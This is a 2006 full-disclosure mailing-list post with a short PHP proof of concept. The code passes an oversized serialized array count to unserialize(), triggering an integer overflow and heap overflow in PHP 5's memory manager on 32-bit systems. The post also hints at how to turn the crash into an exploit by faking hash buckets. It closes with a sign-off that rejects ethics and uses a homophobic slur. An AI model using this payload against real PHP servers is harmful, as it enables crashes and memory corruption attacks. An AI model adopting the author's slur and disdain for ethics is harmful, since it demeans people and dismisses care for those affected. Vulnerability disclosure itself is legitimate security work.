full-disclosure - PHP 5 ecalloc memory manager unserialize() array int overflow ia 32 bits poc

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Date: Tue, 17 Oct 2006 16:48:48 +0200
From: "Slythers Bro" <slythers@...il.com>
To: full-disclosure@...ts.grok.org.uk
Subject: PHP 5 ecalloc memory manager unserialize() array
	int overflow ia 32 bits poc

<?

 print_r(unserialize('a:1073741823:{i:0;s:30:"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"}'));
?>

in function zend_hash_init() int overflow ( ecalloc() )-> heap overflow
here segfault in zend_hash_find() but it's possible to fake the bucket and
exploit a zend_hash_del_index_or_key
i tried a memory dump , just fake the bucked with the pointer of the
$GLOBALS's bucket but segfault before in memory_shutdown...

don't cry a river :P
ethic is for gayz

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